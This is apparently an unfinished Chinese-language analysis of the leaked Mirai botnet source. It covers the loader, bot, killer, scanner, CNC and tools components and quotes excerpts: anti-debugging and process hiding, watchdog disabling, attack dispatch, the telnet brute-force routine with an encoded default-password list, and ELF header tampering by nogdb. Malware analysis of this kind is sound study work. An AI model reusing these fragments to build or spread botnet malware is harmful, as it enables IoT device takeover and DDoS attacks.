1. 整体概要

Mirai是一种被用于进行DDos攻击的恶意软件, 能够感染多种架构, 特点是服务端进行分发, 而不是病毒本身进行复制感染, 有白名单功能, 并可以清除异己.

主要的目录结构为:

1
2
3
4
5
6
7
8
9
10
11
12
13
Mirai-Source-Code
├── dlr
│   └── release
├── loader -> 加载器
│   ├── bins -> 预编译完成的各架构可执行文件
│   └── src
│   └── headers
├── mirai -> 本体
│   ├── bot -> 被控制端(payload)
│   ├── cnc -> 控制端
│   └── tools -> 包含一些工具, 如加密, 监听scanner部分发信
└── scripts
└── images

2. 加载器(loader)部分

loader部分目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Mirai-Source-Code/loader
├── bins -> 完成预编译的各架构payload
│   ├── dlr.arm
│   ├── dlr.arm7
│   ├── dlr.m68k
│   ├── dlr.mips
│   ├── dlr.mpsl
│   ├── dlr.ppc
│   ├── dlr.sh4
│   ├── dlr.spc
│   └── dlr.x86
├── build.debug.sh
├── build.sh
└── src
├── binary.c -> 加载bin目录下的二进制文件
├── connection.c -> 处理登陆操作
├── headers
│   ├── binary.h
│   ├── connection.h
│   ├── includes.h
│   ├── server.h
│   ├── telnet_info.h
│   └── util.h
├── main.c -> 入口函数
├── server.c -> 建立连接, 使用telnet协议进行连接, 发送payload
├── telnet_info.c -> 解析telnet_info
└── util.c -> 一些函数, 如字符串处理, 套接字读写, 套接字绑定等

loader部分主要用于将对应架构的payload文件(在bin目录下)加载到受感染的机器上, Mirai基于telnet协议进行攻击, 其中重要的数据结构是
struct server , 其抽象了telnet连接, 并提供了完整的函数, 进行了类似面向对象的封装, 以下是 server.h 中定义的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

// "构造和析构"
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip);
void server_destroy(struct server *srv);

// 主事件循环中根据telnet_info去创建新的连接
void server_queue_telnet(struct server *srv, struct telnet_info *info);

// 由上一个函数调用, 执行具体创建连接的行为
void server_telnet_probe(struct server *srv, struct telnet_info *info);


// 下面这些函数主要在以上四个函数中调用, 是不向外暴露的接口
static void bind_core(int core);

static void *worker(void *arg);

static void handle_output_buffers(struct server_worker *);

static void handle_event(struct server_worker *wrker, struct epoll_event *ev);

static void *timeout_thread(void *);

3. 本体payload部分

本体的源码路径在 /mirai/bot , 是在被攻击机器(客户机)上执行的代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Mirai-Source-Code/mirai/bot
├── attack_app.c
├── attack.c --------> 执行Dos攻击行为的部分, 配合其他几个 attack_*.c, 实现不同的攻击方式
├── attack_gre.c
├── attack.h
├── attack_tcp.c
├── attack_udp.c
├── checksum.c-------> 校验数据和指令
├── checksum.h
├── includes.h
├── killer.c---------> 用于排除异己
├── killer.h
├── main.c ----------> 入口函数
├── protocol.h
├── rand.c-----------> 产生随机数
├── rand.h
├── resolv.c---------> 负责和DNS服务器通信, 进行域名解析
├── resolv.h
├── scanner.c--------> 扫描其他可能的设备, 并将结果返回给loader模块, 进行散布
├── scanner.h
├── table.c----------> 维护数据表, 储存如设备ID, 受感染设备特征信息
├── table.h
├── util.c-----------> 提供基础的工具函数, 如字符串处理和内存搜索
└── util.h

3.1 主流程

  • 首先自身解除链接, 并关闭watchdog, 防止电脑重启, 并防止gdb进行调试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// Delete self
unlink(args[0]);

// Signal based control flow
sigemptyset(&sigs);
sigaddset(&sigs, SIGINT);
sigprocmask(SIG_BLOCK, &sigs, NULL);
signal(SIGCHLD, SIG_IGN);
signal(SIGTRAP, &anti_gdb_entry);

// Prevent watchdog from rebooting device
if ((wfd = open("/dev/watchdog", 2)) != -1 ||
(wfd = open("/dev/misc/watchdog", 2)) != -1)
{
int one = 1;

ioctl(wfd, 0x80045704, &one);
close(wfd);
wfd = 0;
}
chdir("/");

// ......

#ifdef DEBUG
unlock_tbl_if_nodebug(args[0]);
anti_gdb_entry(0);
#else
if (unlock_tbl_if_nodebug(args[0]))
raise(SIGTRAP);
#endif

  • 隐藏自身名称和进程名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Hide argv0
name_buf_len = ((rand_next() % 4) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
util_strcpy(args[0], name_buf);

// Hide process name
name_buf_len = ((rand_next() % 6) + 3) * 4;
rand_alphastr(name_buf, name_buf_len);
name_buf[name_buf_len] = 0;
prctl(PR_SET_NAME, name_buf);

// Print out system exec
table_unlock_val(TABLE_EXEC_SUCCESS);
tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);
write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);
write(STDOUT, "\n", 1);
table_lock_val(TABLE_EXEC_SUCCESS);
  • 随后进行 attack_init()killer_init() , 之后进入主事件循环

  • 在主事件循环中先通过文件描述符 fd_ctrl 检查自身进程状态, 决定自身进程是否需要被杀死, 这个行为使得Mirai能够保证一台设备上只有一个自己的实例运行, 防止了反复感染同一设备, 提高了扩散效率.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// Check if we need to kill ourselves
if (fd_ctrl != -1 && FD_ISSET(fd_ctrl, &fdsetrd))
{
struct sockaddr_in cli_addr;
socklen_t cli_addr_len = sizeof (cli_addr);

accept(fd_ctrl, (struct sockaddr *)&cli_addr, &cli_addr_len);

#ifdef DEBUG
printf("[main] Detected newer instance running! Killing self\n");
#endif
#ifdef MIRAI_TELNET
scanner_kill();
#endif
killer_kill();
attack_kill_all();
kill(pgid * -1, 9);
exit(0);
}
  • 在主循环中监听CNC的信息, 并解析攻击参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// ......

// Try to read in buffer from CNC
errno = 0;
n = recv(fd_serv, rdbuf, len, MSG_NOSIGNAL | MSG_PEEK);
if (n == -1)
{
if (errno == EWOULDBLOCK || errno == EAGAIN || errno == EINTR)
continue;
else
n = 0;
}

// If n == 0 then we close the connection!
if (n == 0)
{
#ifdef DEBUG
printf("[main] Lost connection with CNC (errno = %d) 2\n", errno);
#endif
teardown_connection();
continue;
}

// Actually read buffer length and buffer data
recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
len = ntohs(len);
recv(fd_serv, rdbuf, len, MSG_NOSIGNAL);

#ifdef DEBUG
printf("[main] Received %d bytes from CNC\n", len);
#endif

if (len > 0)
attack_parse(rdbuf, len);

3.2 attack部分

attack部分主要有以下几个文件组成

1
2
3
4
5
6
attack_app.c
attack.c
attack_gre.c
attack.h
attack_tcp.c
attack_udp.c

他们分别实现了不同的攻击方式, attack.c 负责解析攻击参数, 调用对应的函数进行特定方式的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int pid1, pid2;

pid1 = fork();
if (pid1 == -1 || pid1 > 0)
return;

pid2 = fork();
if (pid2 == -1)
exit(0);
else if (pid2 == 0)
{
sleep(duration);
kill(getppid(), 9);
exit(0);
}
else
{
int i;

for (i = 0; i < methods_len; i++)
{
if (methods[i]->vector == vector)
{
#ifdef DEBUG
printf("[attack] Starting attack...\n");
#endif
methods[i]->func(targs_len, targs, opts_len, opts); // 使用函数指针实现了类似重载的效果
break;
}
}

//just bail if the function returns
exit(0);
}
}

其中这个 methods 结构体定义如下

1
2
3
4
struct attack_method {
ATTACK_FUNC func; // 函数指针
ATTACK_VECTOR vector;
};

其中的攻击函数接口是设计统一的, 可以实现类似C++的函数重载, 多种攻击方式共用同一套接口实现, 这是部分的函数接口

1
2
3
4
void attack_udp_generic     (uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_vse (uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_dns (uint8_t, struct attack_target *, uint8_t, struct attack_option *);
void attack_udp_plain (uint8_t, struct attack_target *, uint8_t, struct attack_option *);

3.3 killer部分

killer部分只有2个文件, 其中实现了查找杀死同类程序并占用端口的行为, 向外暴露的函数只有3个:

1
2
3
void killer_init(void);             // 初始化函数
void killer_kill(void);
BOOL killer_kill_by_port(port_t);

该部分会杀死在端口22, 23, 80的进程, 并占用这三个端口, 防止端口被重新启用

3.4 scanner部分

scanner部分会构造随机ip, 寻找可能连接的机器, 并尝试进行telnet连接, 使用23端口试图连接, 如果有回应就会尝试使用已经储存的弱密码登陆

1
2
3
4
5
6
7
8
9
10
11
12
// 源码中的部分尝试登陆
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin

尝试登陆成功后会获取受感染机器的信息, 并发回给loader, (scannerListen.go进行处理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
            switch (conn->state)
{
case SC_HANDLE_IACS:
if ((consumed = consume_iacs(conn)) > 0)
{
conn->state = SC_WAITING_USERNAME;
#ifdef DEBUG
printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);
#endif
}
break;
case SC_WAITING_USERNAME:
if ((consumed = consume_user_prompt(conn)) > 0)
{
send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
conn->state = SC_WAITING_PASSWORD;
#ifdef DEBUG
printf("[scanner] FD%d received username prompt\n", conn->fd);
#endif
}
break;
case SC_WAITING_PASSWORD:
if ((consumed = consume_pass_prompt(conn)) > 0)
{
#ifdef DEBUG
printf("[scanner] FD%d received password prompt\n", conn->fd);
#endif

// Send password
send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);

conn->state = SC_WAITING_PASSWD_RESP;
}
break;

// .......

}

3.5 其他部分

1
2
3
4
5
6
7
protocol.h-> 网络协议相关的数据结构和宏
chechsum.c-> 提供两个checksum函数, 只在scanner部分中向loader发回信息的时候才调用
chechsum.h
table.c ---> 内置一份数据表, 用于随机扫描和尝试弱密码登陆, 以及数据表相关的函数
table.h
util.c ----> 提供一些工具函数, 如字符串处理和获取本机ip地址
util.h

4. 控制端cnc部分 (不太会golang T^T)

cnc部分是Mirai的控制端, 主要维护数据库, 以及下达攻击指令. 目录结构如下

1
2
3
4
5
6
7
8
9
mirai/cnc/
├── admin.go ---> 处理管理员登陆, 创建新用户和初始化
├── api.go ---> 向感染的节点发送命令
├── attack.go ---> 处理用户攻击请求
├── bot.go ---> bot定义和Handle()函数
├── clientList.go---> 维护受感染的节点
├── constants.go ---> 一段乱码, 只在这一个文件中出现, 不知道有什么用
├── database.go ---> 包括用户登录验证, 新建用户, 处理白名单等的数据库管理
└── main.go ---> 入口函数, 解析命令行参数, 确定Mirai运行扫描还是攻击的模式

Notice
还在更新中

5. tools部分

这个部分包含了一些工具性质的代码, 每个文件自己就可以编译成一个可执行文件

1
2
3
4
5
6
7
mirai/tools
├── badbot.c ------> 里面有一个死循环sleep, 不知道有什么用
├── enc.c ------> 关键的加密函数
├── nogdb.c ------> 修改ELF文件头, 使得gdb无法进行调试
├── scanListen.go--> 监听来自被感染设备发回的信息
├── single_load.c--> 也是loader的实现
└── wget.c ------> 下载文件用的, loader会使用

5.1 enc.c – 加密函数

Notice
还在更新中

5.2 nogdb.c – 防止gdb调试

nogdb.c实现了一个修改ELF文件头来达到防止gdb调试的小程序.

ELF是Linux下可执行文件的格式(类似于Windows下的PE格式), 他不是一种单一的格式, 而是一类格式的统称. 不同的系统采用不同种类的ELF可执行文件格式,例如Linux ELF和BSD ELF不能兼容.

首先了解一下ELF文件头的结构, 这里编写了一个小型的hello程序, 之后做实验要用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 这是elf.h中对ELF文件头的定义
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;

测试程序源码

1
2
3
4
5
6
#include <stdio.h>

int main(int argc, char** argv) {
printf("hello\n");
return 0;
}

执行clang -g hello.c -o hello进行编译, 并使用readelf读取ELF文件头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    [aurora@archlinux] ~/Desktop/notes/mirai_analyse  
> readelf -h ./hello
ELF 头:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
类别: ELF64
数据: 2 补码,小端序 (little endian)
Version: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 0
类型: DYN (Position-Independent Executable file)
系统架构: Advanced Micro Devices X86-64
版本: 0x1
入口点地址: 0x1040
here->程序头起点: 64 (bytes into file) # 记住这一行,之后要考
Start of section headers: 14176 (bytes into file)
标志: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 13
Size of section headers: 64 (bytes)
Number of section headers: 37
Section header string table index: 36

此时执行 gdb ./hello , 可以正常的调试

编译 nogdb.c 得到可执行文件, 执行 ./nogdb ./hellohello 进行处理, 发现不能使用gdb调试(识别不出可执行文件):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  [aurora@archlinux] ~/Desktop/notes/mirai_analyse  
> gdb ./hello
GNU gdb (GDB) 15.1
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Registered pretty printers for UE classes
Registered pretty printers for UE classes
Registered pretty printers for UE classes
->"/home/aurora/Desktop/notes/mirai_analyse/./hello": not in executable format: file format not recognized
(gdb) l
No symbol table is loaded. Use the "file" command.

再次使用readelf读取ELF文件头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    [aurora@archlinux] ~/Desktop/notes/mirai_analyse  
> readelf -h ./hello
ELF 头:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
类别: ELF64
数据: 2 补码,小端序 (little endian)
Version: 1 (current)
OS/ABI: UNIX - System V
ABI 版本: 0
readelf:错误:Reading 728 bytes extends past end of file for 程序头
类型: DYN (共享目标文件)
系统架构: Advanced Micro Devices X86-64
版本: 0x1
入口点地址: 0x1040
here->程序头起点: 65535 (bytes into file) # 这里产生了变化
Start of section headers: 14176 (bytes into file)
标志: 0xffffffff
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 13
Size of section headers: 64 (bytes)
Number of section headers: 37
Section header string table index: 36
readelf:错误:Reading 728 bytes extends past end of file for 程序头

阅读nogdb内部代码得知, 他修改了三个字段: 段表偏移地址, 节表偏移地址, 程序入口地址, 导致无法调试和执行

1
2
3
4
5
6
7
8
9
// elf文件头中的字段
//Elf32_Off e_shoff; /* Section header table file offset */
//Elf32_Half e_phnum; /* Program header table entry count */
//Elf32_Half e_shstrndx; /* Section header string table index */

// 源码中修改字段
header->e_shoff = 0xffff;
header->e_shnum = 0xffff;
header->e_shstrndx = 0xffff;

6. 代码风格

Notice
还在更新中